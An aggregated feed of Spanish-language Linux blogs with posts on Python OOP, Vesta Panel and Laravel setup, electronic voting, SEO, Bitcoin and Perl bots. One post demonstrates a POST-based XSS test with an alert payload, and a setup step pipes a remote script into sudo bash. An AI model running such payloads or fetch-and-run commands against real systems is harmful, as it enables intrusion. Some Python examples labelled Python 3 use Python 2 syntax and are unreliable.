Martes 21 de febrero de 2017

Javier Smaldone

Javier Smaldone
Blog de Javier Smaldone

Videos breves sobre voto electrónico

Algunos videos cortos sobre los sistemas de voto electrónico (incluida la Boleta Única Electrónica®. Pueden descargarse desde en varios formatos (con y sin subtítulos) desde archive.org.

Voto electrónico en Brasil

Voto electrónico en Holanda

Voto electrónico en el mundo

Mitos y mentiras sobre la Boleta Única Electrónica

La Boleta Única Electrónica es voto electrónico

¿Una computadora, una impresora o qué?

Lunes 20 de febrero de 2017

Usemos Linux: komorebi: Un bonito y personalizable administrador de wallpapers
Usemos Linux: Dnsmasq en CentOS 7.3 – Redes PYME

Viernes 17 de febrero de 2017

Usemos Linux: Cómo integrar Gmail al escritorio Gnome

Domingo 05 de febrero de 2017

Volviendo a lo básico, POO en Python ( diferencia entre __init__ y __new__) (parte 10)

Continuando con la serie de artículos volviendo a lo básico POO, en este artículo se toca el tema de las diferencias entre __init__ y __new__.

Este artículo se baja en un artículo en inglés entendiendo new e init.

Muchos que han programado orientado a objetos en Python nunca han usado el método __new__, el que usan como constructor es el __init__.

La realidad es que el método __init__ crea el objeto y luego lo inicializa, no es el constructor como tal, en cambio el método __new__ sólo construye el objeto.

Para este artículo se trabajará con Python 3.


Se tiene la siguiente clase:


class A(object):

    pass



Así que la Clase A hereda de object en Python 3.


Ahora se crea una clase que use __new__ e __init__:




class A(object):


    def __new__(cls):


        print "A.__new__ es llamado"


        return super(A, cls).__new__(cls)





    def __init__(self):


        print "A.__init__ es llamado"





A()




La salida es la siguiente:

A.__new__ es llamado
A.__init__ es llamado


Ahora vamos con un ejemplo donde __init__ no será llamado:





class A(object):
def __new__(cls):
print "A.__new__ es llamado"

def __init__(self):
print "A.__init__ es llamado"

print ("Solo llamando el objeto A() o instanciandolo")

A()
a = A()
print ("*"*40)
print ("Ejecutando un print con el objeto A()")
print (A())






Como se puede ver, en el método __init__ se está ejecutando un print y en el método __new__ también.

La salida es la siguiente:

Solo llamando el objeto A() o instanciandolo
A.__new__ es llamado
A.__new__ es llamado
****************************************
Ejecutando un print con el objeto A()
A.__new__ es llamado
None


Como se puede ver, al llamar a A() o al instanciarlo, sólo se muestra la salida del  método __new__ , y el de __init__ no, sólo cuando se ejecuta el print(A()) es que devuelve la salida del método __new__ y devuelve None el método __init__.


Ahora se mostrará la clase con sólo el método __new__ donde se ejecuta un print y retorna un número:




class A(object):






    def __new__(cls):


        print "A.__new__ es llamado"


        return 29


print ("Solo llamando al objeto")


A()


print ("*"*30)


print ("Llamando al objeto desde un print")


print A()


La salida es la siguiente:

Solo llamando al objeto
A.__new__ es llamado
******************************
Llamando al objeto desde un print
A.__new__ es llamado
29


Al sólo llamar al objeto sólo muestra el print, pero al ejecutar el print muestra el print del método y el entero que retorna.

Ahora se hará lo mismo pero con el método __init__:



class A(object):



    def __init__(self):

        print "A.__init__ es llamado"

        return 33





try:

    print ("Solo llamando al objeto")

    A()

except (TypeError):

    print ("Error de tipo")


La salida es la siguiente:

Solo llamando al objeto
A.__init__ es llamado
Error de tipo


En este caso el return devuelve error de tipo. La única forma que en el método __init__ devuelva algo es que sea del tipo None.

Ahora se muestra el uso de una clase alternativa llamada Ejemplo:






class Ejemplo(object):





    def __str__(self):


        return "Ejemplo"





class A(object):





    def __new__(cls):


        return Ejemplo()





class B(object):





    def __new__(cls):


        return super(B, cls).__new__(Ejemplo)


print ("Prueba con A")


print A()


print ("Prueba con B")


print B()



La salida devuelve lo siguiente:

Prueba con A
Ejemplo
Prueba con B
Ejemplo


Como puede verse, hay casos donde es útil utilizar __new__ y otros donde se pueden seguir usando __init__.

El método __new__ es usado en patrones de diseño con python, que será la siguiente serie de artículos que vendrán en este blog.



Martes 31 de enero de 2017

Ubuntips: ¿Qué es mejor, Linux o Windows?
Ubuntips: ¿Cómo es la educación online?

Lunes 30 de enero de 2017

Eduardo Federico

Eduardo Federico
Paraiso Linux

Como agregar un certificado SSL gratuito desde Vesta Panel

Si están al tanto de las noticias sobre internet, webs, SEO y tecnologia en general, seguramente habrán leído los nuevos cambios que involucran a la seguridad de las webs y las transcacciones realizadas en distintas webs.

Lo voy a resumir muy facilmente:

  • Muchas webs estan implementando certificados SSL en sus webs. Esto les permite tener una url que empiece con https://
  • Esto es debido a que no tenerlo puede afectar al SEO de un sitio. Ver esta nota en el blog de webmasters de google.
  • Ademas Chrome y Mozilla muestran como inseguros los sitios que no cuenten con dicho certificado. Ver nota en ayudawp.

La cuestión es que hace unos años tener un certificado SSL significaba desenbolsar $50 dolares anuales por cada sitio. Pero gracias a los certificados de Let’s Encrypt podemos tener certificados 100% gratuitos y muy fáciles de instalar.

Y como se hicieron tan comunes, la ultima version del panel Vesta agrega una opcion para que agregar este tipo de certificados a tu web sea todavia mas facil. Vamos a ver como hacerlo.

En la seccion WEB de su panel Vesta, hagan click en EDIT del dominio en cuestion.

Veran que hay un check que dice SSL Support. Deben marcarlo y tambien marcar el que aparece debajo que dice Lets Encrypt Support.

Guardan los cambios.

Ahora en su navegador prueban escribir la url completa con https:// y el navegador deberia marcarles esa web como segura.

Redirigir http a https

Ahora lo que deben hacer es solución un pequeño problema muy grande, y es no tener 2 versiones del mismo sitio. Para ello vamos a editar el archivo .htaccess y agregamos esto:

RewriteEngine On
RewriteCond %{SERVER_PORT} 80
RewriteRule ^(.*)$ https://paraisolinux.com/$1 [R,L]

Obviamente poniendo tu url en lugar de la mia.

Para probar escriben en la navegador escriben la url sin el https y si se redirige esta bien.

Solucionar Error 403 forbidden

En la mayoría de los sitios con hacer lo anterior ya estaría todo solucionado. Pero si por ejemplo siguieron el tutorial de Laravel + Vesta veran que no funciona, lo que deberán hacer es:

sudo nano /home/admin/conf/web/sapache2.conf

Y editar las mismas lineas mencionadas en el tutorial mencionado.

 

La entrada Como agregar un certificado SSL gratuito desde Vesta Panel pertenece a Paraiso Linux.

Domingo 29 de enero de 2017

Eduardo Federico

Eduardo Federico
Paraiso Linux

Como añadir un subdominio en Vesta Panel

Ya hemos visto lo sencillo que es agregar un dominio a Vesta. Pero tambien vimos que es necesario tocar los RECORDS.

Para agregar un subdominio también tendremos que hacerlo. Pero sigue siendo una tarea super sencilla.

Primero nos dirigimos a la seccion WEB de Vesta. Alli vamos a agregar el subdominio haciendo click en 'ADD WEB DOMAIN'.

Al igual que cuando añadimos el dominio deberemos elegir correctamente la IP y crear un usuario FTP.

A continuación nos dirigimos a nuestra cuenta de Digital Ocean y en la seccion 'Networking' buscamos la opcion 'Manage Domain' del dominio que nos interesa.

En esta nueva pagina debemos agregar un nuevo Record del tipo A. Escribiendo en el primer campo el nombre del subdominio y en el segundo campo eligiendo el droplet a donde apuntara ese dominio.

Ahora si ingresan en ese subdominio deberían ver la pagina por defecto de Vesta.

Una cosa mas. Si por X casualidades de la vida, en ese subdominio desean tener un proyecto realizado con Laravel o Lumen, lo mejor seria seguir el tutorial para instalar Laravel en Vesta.

 

La entrada Como añadir un subdominio en Vesta Panel pertenece a Paraiso Linux.

Eduardo Federico

Eduardo Federico
Paraiso Linux

Como instalar un proyecto de Laravel en Vesta Panel

Voy a suponer que saben como instalar un proyecto básico de Laravel. Este tutorial no es para cubrir esa parte. Sino una situacion que seguramente le pasa a muchos desarrolladores. Y es esta:

-Tenemos un proyecto realizado en laravel, seguramente en github o bitbucket

-Deseamos hacer publico ese proyecto usando nuestro panel Vesta

-Ya hemos realizado al instalacion de Vesta, creado el nuevo dominio y brindado acceso via SSH.

-Pero obviamente no podemos simplemente hacer un git pull del proyecto dentro de la carpeta public_html porque no queremos que todo el proyecto sea accesible sino simplemente la carpeta public.

Si se te presento esa situación, esto es lo que debes hacer:

Paso 1- Acceder via SSH

ssh admin@[la ip]

Paso 2- Acceder a la carpeta del dominio

cd web/[tu dominio]/public_html

Paso 3- Eliminar los archivos existentes que no nos interesen. Ej:

rm index.html robots.txt

Paso 4- Clonar el repositorio de interes

git clone git@bitbucket.org:sefsinalas/project-d-site.git .

Notar el punto del final. Eso es para que todo se clone en el directorio actual.

Paso 5- Volver a la carpeta home escribiendo

cd

Y abrir el siguiente archivo

sudo nano conf/web/apache2.conf

En ese archivo nos encontraremos con la configuracion del virtualhost de apache.

Buscamos la linea que dice

DocumentRoot /home/admin/web/[tu dominio]/public_html

Y la cambiamos por

DocumentRoot /home/admin/web/[tu dominio]/public_html/public

Tambien donde dice

<Directory /home/admin/web/[tu dominio]/public_html>

por

<Directory /home/admin/web/[tu dominio]/public_html/public>

Paso 6- Opcional

Revisar la version de node escribiendo

nodejs --version

Si es una version menor a la 6 entonces lo mejor sera desinstalarla e instalar una version nueva. Algo asi:

sudo apt-get purge nodejs npm
curl -sL https://deb.nodesource.com/setup_7.x | sudo -E bash -
sudo apt-get install -y nodejs

Paso 7- Por supuesto necesitan volver al directorio public_html y hacer las cosas que ya saben sobre laravel. Dar permisos a la carpeta storage, hacer npm install, copiar el archivo .env y cualquier otra cosa que requiera su proyecto.

Paso 8- Reiniciar el servidor. Pueden hacerlo desde la consola o desde el panel Vesta en la sección Server.

Eso seria todo. Por supuesto esto es solo una forma de hacerlo, existen varias otras, mas fáciles o difíciles, mas seguras o inseguras. Una de ellas seria olvidar GIT y usar FTP, y aqui tienen otra forma de parte de Bobby Allen.

Consejo: para probar que el tutorial salio bien recomiendo cambiar momentáneamente los nombres de los archivos public/.htaccess y public/index.php y crear un archivo index.html que diga algo como 'En mantemiento'.

La entrada Como instalar un proyecto de Laravel en Vesta Panel pertenece a Paraiso Linux.

Miércoles 11 de enero de 2017

Javier Smaldone

Javier Smaldone
Blog de Javier Smaldone

Los garantes del voto electrónico en la Provincia de Córdoba

En la Provincia de Córdoba tenemos el triste privilegio, desde hace casi 30 años, de contar con un Consejo Profesional de Ciencias Informáticas de matriculación obligatoria (el CPCIPC). En virtud de una ley que supieron lograr en el año 1987, regulan el ejercicio de “la profesión informática” (como si tal cosa pudiera siquiera definirse). Sí, en Córdoba para desarrollar profesionalmente cualquier actividad relacionada con la computación hay que tener un “título habilitante” y pagar la matrícula del Consejo Profesional.

CPCIPC y Vot.Ar

Hace unos días, y desoyendo la voz de especialistas, la Legislatura de Córdoba aprobó una ley que ordena el uso de voto electrónico en las elecciones provinciales. Amén de implementar un sistema más que cuestionado, la norma pone en manos del CPCIPC la fiscalización (limitando la posibilidad de ser fiscal informático partidario a quienes estén matriculados) y seguramente sea también el CPCIPC quien asuma el rol principal en la realización de las auditorías del sistema informático a utilizar.

Lo que sigue es un ejemplo más del lamentable nivel de los informáticos nucleados en el CPCIPC.

El sitio web del CPCIPC

El programador Federico Heinz (que hace unos días publicó una excelente nota sobre el tema) hizo notar en Twitter que el sitio del CPCIPC tenía un ridículo sistema de autenticación para el acceso de los matriculados:

No pasó mucho tiempo hasta que algunos tuiteros comenzaron a ingresar al sistema usando los números de matrícula de las autoridades del CPCIPC (publicados en el mismo sitio) y su DNI (dato fácilmente obtenible si se tiene el nombre completo de la persona).

De nada sirvió el pedido de Federico Heinz, para algunos la tentación fue muy grande:

Alguien más encontró un error todavía más grosero: en el sitio del CPCIPC había un script que permitía descargar cualquier archivo del sistema que fuese accesible por el servidor web:

Este es el código del script “downloader.php” que se encontraba en el servidor:

¿Cómo es que los sesudos profesionales del CPCIPC cometieron este error digno de un principiante? Fácil: copiando y pegando código de la documentación de PHP:

Ejemplo de PHP

Pero evidentemente, los errores en el sitio del CPCIPC no se agotaban. Unos minutos después, ya alguien había modificado el contenido (reemplazando las fotos de las autoridades por la del dueño de la empresa MSA Sergio Angelini, vendedora de voto electrónico):

Más tarde, el sitio del CPCIPC ya estaba completamente “defaceado:

Disclaimer en el sitio

Hoy por la mañana, parece que ya estaban solucionando los problemas (o al menos algunos de ellos):

¿Algo más? Sí. Como era de esperar, y para completar la vergüenza, el servidor del CPCIPC ya había sido crackeado con anterioridad, por alguien que lo infectó con software que lo convierte en parte de un red de máquinas esclavas (botnet):

Infección en el servidor del CPCIPC

(Si, el servidor del CPCIPC podría ser usado por terceros para realizar ataques distribuidos de denegación de servicio. En definitiva, quienes lo descubrieron les hicieron un favor).

Conclusión

Esta es la gente que amenaza con denunciarme por “ejercicio ilegal de la informática” por presentarme en el Congreso de la Nación como programador y especialista en informática:

Amenaza de denuncia

Es la gente que “tutela el ejercicio de la profesión” y realiza inspecciones en la Provincia de Córdoba para determinar quién puede trabajar en informática y quién no:

También es la gente que se dedica a promocionar el sistema de voto electrónico de la empresa MSA y se ofrece a auditarlo en las elecciones:

Y es la gente que, gracias a la nueva ley provincial, tendrá el monopolio de la fiscalización electrónica en las votaciones por venir.

Gente que no puede implementar razonablemente un sistema de usuario y contraseña para autenticar a sus matriculados. Gente que no puede escribir una aplicación siguiendo los lineamientos básicos de seguridad. Gente que no puede ni siquiera mantener un servidor web sin transformarse en el hazmerreír de los programadores del resto del país. Ese es el Consejo Profesional de Ciencias (o “Carencias“) Informáticas de la Provincia de Córdoba.

Lunes 09 de enero de 2017

Mariano Mendez

Mariano Mendez
[A]NTRAX - [L]ABS

BING: El buscador olvidado


Posicionamiento WEB

Hoy día, quien tiene una un sitio Web de cualquier naturaleza, sea para ofrecer un servicio, producto, o incluso para compartir materiales o documentación digital, si quiere marcar presencia en la red de redes, necesariamente tendrá que considerar el posicionamiento WEB o SEO (Search Engine Optimization). 

Sabemos que el SEO comprende una serie de estrategias, técnicas, o incluso habilidades para lograr las primeras posiciones en los resultados de los buscadores clásicos: Google, Bing, Yahoo, etc.
Va de suyo que podemos pagar marketing publicitario para tales fines; sin embargo las destrezas del SEO nos permiten lograr estupendos posicionamientos en las búsquedas gratuitamente,  aunque impliquen laboriosidad.

En mi opinión, se leen muchísimos tips para el SEO de Google, pero me queda la sensación que tanto Bing como Yahoo, no siempre son tenidos en cuenta en este trabajo de posicionar nuestro sitio digital. 

Aclaro que no es mi idea en esta entrada enumerar estrategias o sugerencias para mejorar el SEO, sino apuntar a que se consideren otros buscadores diferentes de Google a la hora de posicionar un espacio cibernético.  Sino llamar a la reflexión para tener presente al  segundo motor de búsqueda más importante: BING.


Números en BING

La cuota de mercado de BING, según señalan  los expertos va en ascenso:

“...Bing actualmente cuenta con el 21,9% de la cuota de mercado en escritorio en Estados Unidos. Una información que ha llamado nuestra atención y que demuestra que el buscador de Microsoft no ha dejado de crecer. Un punto en el que podrían tener que ver las últimas novedades incorporadas por el gigante tecnológico. Pero vayamos con los datos.



 “En concreto, la cifra supone un incremento de un 0,1 porcentual respecto del mes de junio, cuando contaba con el 21,8%. Los datos ofrecidos por la citada compañía, asimismo, muestran una caída del 0,4 por parte de Google...”

Los números de la gráfica hablan por sí mismos.


Otros comentarios sobre Bing

Más allá de las cifras expuestas, es oportuno recordar que Facebook y Skype emplean a Bing como buscador por defecto y las redes sociales o la mensajería instantánea son puntos claves en el SEO, tanto  por su extendido uso como por su  notoriedad.

Si a esto le agregamos los aspectos técnicos que a Bing le preocupan como, por ejemplo: velocidad, link rotos del sitio, evitar contenidos flash, entre otros; se torna una sumatoria de elementos que no deberían estar olvidados para el SEO de nuestra Web.

Posicionar un espacio digital no es tarea sencilla, pero es la base para el éxito del mismo.
Como comenté antes, no dejaré un tutorial de sugerencias, pero quiero destacar en lo referente al SEO en bing una interesante guía para que al momento de poner manos a la obra la consideren.

Mariano Mendez

Mariano Mendez
[A]NTRAX - [L]ABS

Cómo comprar BITCOINS


En esta entrada hablaremos de las criptomonedas, en particular de los Bitcoin. Seguramente todos han oído hablar de este tipo de moneda digital, pero no está de más recordar qué es y para qué sirven los Bitcoins, sin perjuicio de algunas reflexiones personales sobre las ventajas de su uso.

Referencias previas del término Bitcoin

Si consultamos en Wikipedia el término Bitcoins:


“Bitcoin (signo: BitcoinSign.svg; abr.: BTC, XBT) es una criptodivisa concebida en 2009. El término se aplica también al protocolo y a la red P2P que lo sustenta y de forma común se denomina como una moneda digital. Generalmente se usa «Bitcoin» para referirse a la red o al protocolo y «bitcoin» (plural: «bitcoines») para referirse a las unidades monetarias.”


De la transcripción precedente puede inferirse que bajo la expresión “Bitcoin” se comprenden tres aspectos diferentes:

Como moneda digital o unidades  de pago en intercambios comerciales vía online.


Como protocolo estandarizado que da soporte a las transacciones electrónicas, sin la mediación de terceros.

Como red para donde se negocian las operaciones comerciales.
Desglosadas estas referencias, hay que destacar que la criptomoneda se sustenta en un sistema totalmente peer-to-peer(persona a persona) donde los intermediarios quedan excluidos. La no intervención de terceros y la ausencia de una Autoridad Central bancaria de país alguno,  es una de las ventajas de los Bitcoins, en la medida que inhibe la especulación y la participación en ganancias como lo hacen las entidades financieras. 

Apoyando estas líneas de pensamiento, en bitcoins.org se reseña: 


“De la misma manera que nadie controla la tecnología detrás del correo electrónico, Bitcoin tampoco tiene propietarios. Bitcoin lo controlan todos los usuarios de Bitcoin del mundo. Aunque los programadores mejoran el software, no pueden forzar un cambio en el protocolo de Bitcoin porque todos los demás usuarios son libres de elegir el software y la versión que quieran. Para que sigan siendo compatibles entre sí, todos los usuarios necesitan utilizar software que cumpla con las mismas reglas. Bitcoin sólo puede funcionar correctamente si hay consenso entre todos los usuarios. Por lo tanto, todos los usuarios y programadores tienen un gran aliciente en proteger dicho consenso.”


Se señala como creador del sistema a  Satoshi Nakamoto y el 12/01/2009 se anota como la primera transacción con esta moneda; y desde esa fecha no solo se ha disparado el uso de Bitcoins, sino el valor que los respalda. Razones evidentes por las que se hace recomendable su uso.  

¿Cómo comprar Bitcoins?

Adscribirse al sistema no es difícil y en lo particular recomiendo las orientaciones del siguiente enlace como comprar bitcoins en Argentina, donde se explica detalladamente los pasos a seguir para la adquisición y operaciones con la moneda criptográfica de la que hablamos. Además de contener un estupendo FAQ de preguntas frecuentes que solventan toda duda. 

A modo de cierre de la entrada y en forma sintética  se pueden destacar cuatro puntos a saber:

Seguridad del sistema: basado en un sistema criptográfico altamente seguro.


    Anonimicidad en las transacciones: la privacidad es un elemento fundamental al momento de adquirir, vender, enviar o recibir pagos. 

      Operaciones en tiempo real al instante:se puede enviar y recibir pagos a cualquier lugar del mundo en forma instantánea.
Expansión de la criptomoneda:actualmente casi todos los negocios online aceptan el Bitcoin como medio de pago. Se habla del Bitcoin como la moneda futurística.


Domingo 08 de enero de 2017

David Moreno

David Moreno
dm's blog

Thanks Debian

I sent this email to debian-private a few days ago, on the 10th anniversary of my Debian account creation:

Date: Fri, 14 Aug 2015 19:37:20 +0200
From: David Moreno 
To: debian-private@lists.debian.org
Subject: Retiring from Debian
User-Agent: Mutt/1.5.23 (2014-03-12)

[-- PGP output follows (current time: Sun 23 Aug 2015 06:18:36 PM CEST) --]
gpg: Signature made Fri 14 Aug 2015 07:37:20 PM CEST using RSA key ID 4DADEC2F
gpg: Good signature from "David Moreno "
gpg:                 aka "David Moreno "
gpg:                 aka "David Moreno (1984-08-08) "
[-- End of PGP output --]

[-- The following data is signed --]

Hi,

Ten years ago today (2005-08-14) my account was created:

https://nm.debian.org/public/person/damog

Today, I don't feel like Debian represents me and neither do I represent the
project anymore.

I had tried over the last couple of years to retake my involvement but lack of
motivation and time always got on the way, so the right thing to do for me is
to officially retire and gtfo.

I certainly learned a bunch from dozens of Debian people over these many years,
and I'm nothing but grateful with all of them; I will for sure carry the project
close to my heart — as I carry it with the Debian swirl I still have tattooed
on my back ;)

http://damog.net/blog/2005/06/29/debian-tattoo/

I have three packages left that have not been updated in forever and you can
consider orphaned now: gcolor2, libperl6-say-perl and libxml-treepp-perl.

With all best wishes,
David Moreno.
http://damog.net/


[-- End of signed data --]

I received a couple of questions about my decision here. I basically don’t feel like Debian represents my interests and neither do I represent the project – this doesn’t mean I don’t believe in free software, to the contrary. I think some of the best software advancements we’ve made as society are thanks to it. I don’t necessarily believe on how the project has evolved itself, whether that has been the right way, to regain relevancy and dominance, and if it’s remained primarily a way to feed dogmatism versus pragmatism. This is the perfect example of a tragic consequence. I was very happy to learn that the current Debian Conference being held in Germany got the highest attendance ever, hopefully that can be utilized in a significant and useful way.

Regardless, my contributions to Debian were never noteworthy so it’s also not that big of a deal. I just need to close cycles myself and move forward, and the ten year anniversary looked like a significant mark for that.

Poke me in case you wanna discuss some more. I’ll always be happy to. Specially over beer :)

Peace.

Miércoles 04 de enero de 2017

Ubuntips: ¿Por qué es importante usar software libre?

Sábado 31 de diciembre de 2016

Volviendo a lo básico, POO en Python ( herencia multiple, problema del diamante) (parte 8)

Volviendo a lo básico, POO en Python ( herencia multiple, problema del diamante) (parte 8)


Continuando con los artículos sobre programación orientada a objetos en python.

En el artículo anterior se explicó como trabajar con la herencia multiple. Ahora se  explicará el problema del diamante y como lo resuelve Python.

La herencia en diamante se muestra en la siguiente figura:

Donde la clase padre es la clase A, y la clase B y C heredan de ella, al final la clase D hereda tanto de B como de C y ambas clases como ya se saben heredan de A. ¿Por que vía se hereda de A, por B o por C?

Ese es en sí el problema del diamante; pueden encontrar más información en la página de wikipedia

Cada lenguaje tiene una forma de resolver este problema, para el caso de Python, este crea una lista de clases, que se buscan de izquierda a derecha y de abajo a arriba (D,B,A,C,A), luego elimina todas las apariciones de una clase repetida menos la última. Por lo que el orden de resolución queda D,B,C,A. 

A continuación se muestra un ejemplo en python: 




#!/usr/bin/env python3


# -*- coding: utf-8 -*-


"""multiple herencia, problema del diamante"""








class A(object):


    def __init__(self,mensajeA):


        self.mensajeA = mensajeA








    @staticmethod


    def quienSoy():


        return "Soy A"





class B(A):


    def __init__(self,mensajeA, mensajeB):


        A.__init__(self,mensajeA)


        self.mensajeB = mensajeB








    @staticmethod


    def quienSoy():


        return "Soy B"





class C(A):


    def __init__(self,mensajeA,mensajeC):


        A.__init__(self,mensajeA)


        self.mensajeC = mensajeC








    @staticmethod


    def quienSoy():


        return "Soy C"





class D(B,C):


    def __init__(self,mensajeA,mensajeB,mensajeC,mensajeD):


        B.__init__(self,mensajeA,mensajeB)


        C.__init__(self,mensajeA,mensajeC)


        self.mensajeD = mensajeD





    @staticmethod


    def quienSoy():


        return "Soy D"





if __name__ == '__main__':


    ca = A("prueba de A")


    cb = B("prueba de A desde B","prueba de B")


    cc = C("prueba de A desde C","prueba de C")


    cd = D("prueba de A desde D","prueba de B desde D","prueba de C desde D","prueba de D")


    print ("Mensaje de A:",ca.mensajeA)


    print ("Quien es?: ",ca.quienSoy())


    print ("Mensaje 1 de B:", cb.mensajeB)


    print("Mensaje 2 de B:", cb.mensajeA)


    print ("Quien es?:",cb.quienSoy())


    print ("Mensaje 1 de C:", cc.mensajeC)


    print ("Mensaje 2 de C:", cc.mensajeA)


    print ("Quien es?:", cc.quienSoy())


    print ("Mensaje 1 de D:", cd.mensajeD)


    print ("Mensaje 2 de D:", cd.mensajeB)


    print ("Mensaje 3 de D:", cd.mensajeC)


    print ("Mensaje 4 de D:", cd.mensajeA)


    print("Quien es?:", cd.quienSoy())








Noten que no se usó super, ya que para poder resolver la evaluación se hace más fácil definiendo el objeto directamente en vez de usar super una llamada de la herencia. 


Al ejecutar el código se tiene la siguiente salida:

Mensaje de A: prueba de A
Quien es?:  Soy A
Mensaje 1 de B: prueba de B
Mensaje 2 de B: prueba de A desde B
Quien es?: Soy B
Mensaje 1 de C: prueba de C
Mensaje 2 de C: prueba de A desde C
Quien es?: Soy C
Mensaje 1 de D: prueba de D
Mensaje 2 de D: prueba de B desde D
Mensaje 3 de D: prueba de C desde D
Mensaje 4 de D: prueba de A desde D
Quien es?: Soy D


Como pueden notar la ejecución de la última clase muestra la secuencia explicada en este artículo.

El código de este ejemplo lo pueden descargar desde gitlab





Volviendo a lo básico, POO en Python ( composición) (parte 9)

Volviendo a lo básico, POO en Python ( composición) (parte 9)

Para terminar la serie de artículos sobre programación orientada a objetos con python

La composición significa utilizar objetos dentro de otro objetos sin usar herencia.

A continuación se muestra el diagrama UML de dos objetos A y B. 



A continuación se muestra el código de ejemplo: 



#!/usr/bin/env python3


# -*- coding: utf-8 -*-


"""Composición"""


class A(object):


    def a1(self):


        print("a1")





class B(object):


    def b(self):


        print ("b")


        A().a1()








if __name__ =="__main__":


    objetoB = B()


    objetoB.b()








Al ejecutar el código se tiene la siguiente salida:
b
a1


Este ejemplo es algo sencillo. La composición es otra forma de reutilizar código.

El código lo pueden ver en gitlab



Jueves 22 de diciembre de 2016

Javier Smaldone

Javier Smaldone
Blog de Javier Smaldone

NO al voto electrónico en la Provincia de Córdoba

El día 21 de diciembre de 2016, la Legislatura de la Provincia de Córdoba, de forma sorpresiva e inexplicable, aprobó una ridícula reforma electoral para reemplazar la boleta única de sufragio por el sistema de voto electrónico conocido como “boleta única electrónica“.

Conferencia de Prensa en la FAMAF

El 20 de diciembre, se llevó a cabo una conferencia de prensa en la Facultad de Matemática, Astronomía, Física y Computación de la Universidad Nacional de Córdoba, en la que expusieron especialistas en informática y derecho. A continuación, las palabras que los legisladores cordobeses al día siguiente ignoraron para aprobar la reforma impulsada por el gobernador Juan Schiaretti.

Javier Blanco

Javier Blanco es doctor en ciencias de la computación por la Technische Universiteit Eindhoven de Holanda y profesor asociado de la FAMAF.

Carlos Dionisio Aguirre

Carlos Dionisio Aguirre es abogado, director internacional de Ageia Densi y vicepresidente de la Asociación de Derecho Informático de Argentina.

Javier Pallero

Javier Pallero es analista de políticas públicas en la organización internacional Access Now.

Nicolás Wolovick

Nicolás Wolovick es doctor en ciencias de la computación y profesor adjunto de la FAMAF.

Nota: también puede ver la conferencia completa.

Jueves 15 de diciembre de 2016

Mariano Mendez

Mariano Mendez
[A]NTRAX - [L]ABS

XSS por POST


Hace unos días reportaron un XSS por POST en el formulario de contacto de Underc0de. Por suerte no era nada riesgoso, pero era una vulnerabilidad que debíamos arreglar.
En esta ocasión usaremos el código de ese formulario de contacto para reproducir la falla y para ver como probar si nuestras aplicaciones son vulnerables a los XSS por POST.

El código del formulario de contacto está acá: www.hospedando.com.mx/descargas/formulario.zip por si alguno desea realizar la prueba.

Además, necesitaremos alguna herramienta que modifique los parámetros que enviemos por POST. Yo usare Tamper Data que es un complemento de Firefox:

https://addons.mozilla.org/es/firefox/addon/tamper-data/

Una vez montado el formulario de contacto se vera algo así:



El primer paso será completar todos sus campos y abrie Tamper Data. Una vez hecho esto, damos en "Comenzar Modificación" (En el tamper data) y enviamos el formulario de contacto.
Seguido a esto, nos aparecerá una alerta en Tamper Data para modificar los datos que estamos enviados.


Damos en modificar, y revisamos los valores que está enviando del lado derecho, que son los que hemos cargado desde el formulario.


Ahora es momento de jugar con estos campos. Este formulario de contacto no filtra sus variables, asique colocaremos algún vector de XSS en sus parámetros.
En este caso, coloqué un simple alert en el campo correo.

<script>alert('XSS')</script>

Pero podemos buscar o usar cualquier otro. Al dar en Aceptar, el sitio seguirá cargando con la nueva información suministrada...


Y como podrán apreciar, apareció el Alert con nuestro mensaje.

Espero que les sirva!

Lunes 29 de agosto de 2016

David Moreno

David Moreno
dm's blog

Webhook Setup with Facebook::Messenger::Bot

The documentation for the Facebook Messenger API points out how to setup your initial bot webhook. I just committed a quick patch that would make it very easy to setup a quick script to get it done using the unreleased and still in progress Perl’s Facebook::Messenger::Bot:

use Facebook::Messenger::Bot;

use constant VERIFY_TOKEN => 'imsosecret';

my $bot = Facebook::Messenger::Bot->new(); # no config specified!
$bot->expect_verify_token( VERIFY_TOKEN );
$bot->spin();

This should get you sorted. What endpoint would that be, though? Well that depends on how you’re giving Facebook access to your Plack’s .psgi application.

Domingo 21 de agosto de 2016

David Moreno

David Moreno
dm's blog

WIP: Perl bindings for Facebook Messenger

A couple of weeks ago I started looking into wrapping the Facebook Messenger API into Perl. Since all the calls are extremely simple using a REST API, I thought it could be easier and simpler even, to provide a small framework to hook bots using PSGI/Plack.

So I started putting some things together and with a very simple interface you could do a lot:

use strict;
use warnings;
use Facebook::Messenger::Bot;

my $bot = Facebook::Messenger::Bot->new({
    access_token   => '...',
    app_secret     => '...',
    verify_token   => '...'
});

$bot->register_hook_for('message', sub {
    my $bot = shift;
    my $message = shift;

    my $res = $bot->deliver({
        recipient => $message->sender,
        message => { text => "You said: " . $message->text() }
    });
    ...
});

$bot->spin();

You can hook a script like that as a .psgi file and plug it in to whatever you want.

Once you have some more decent user flow and whatnot, you can build something like:



…using a simple script like this one.

The work is not finished and not yet CPAN-ready but I’m posting this in case someone wants to join me in this mini-project or have suggestions, the work in progress is here.

Thanks!

Miércoles 29 de junio de 2016

PCTux: El hashtag que pide a Messi que no se vaya

Lunes 13 de junio de 2016

Javier Ledesma

Javier Ledesma
Ubuntronics

Richard Stallman nos explica: ¿Por que no usar celulares?

Richard Matthew Stallman (nacido en Manhattan, Nueva York, 16 de marzo de 1953), con frecuencia abreviado como «rms» es un programador estadounidense.


Es principalmente conocido por el establecimiento de un marco de referencia moral, político y legal para el movimiento del software libre, como una alternativa al desarrollo y distribución del software no libre o privativo.

Continuar leyendo »

Domingo 12 de junio de 2016

Javier Ledesma

Javier Ledesma
Ubuntronics

¿Cómo crear una lista de los paquetes instalados con Pacman y Yaourt?

Hacer una lista de todos los paquetes instalados en nuestro sistema ─en mi caso Arch Linux─ por medio de los gestores: Pacman y Yaourt, ¡es muy fácil!


Con ejecutar un solo comando en un Terminal es posible conocer los paquetes que hemos instalados, a excepción de los paquetes "base" y "base-devel".

Continuar leyendo »

Lunes 06 de junio de 2016

Javier Ledesma

Javier Ledesma
Ubuntronics

Jugar a Game Boy Advance en Linux con mGBA

Game Boy Advance (abreviada como GBA) es una popular consola de videojuegos de la compañía Nintendo. Hubo juegos de todos los géneros para esta consola que también, es compatible con todos los juegos de Game Boy y todos los de Game Boy Color.


mGBA en un emulador de Game Boy Advance con el que podrás disfrutar de todos los juegos de la fantástica consola de Nintendo en tu ordenador.

Continuar leyendo »

Jueves 26 de mayo de 2016

Linux Adictos: SuSE anuncia la disponibilidad de SLES for SAP Applications en AWS

Miércoles 25 de mayo de 2016

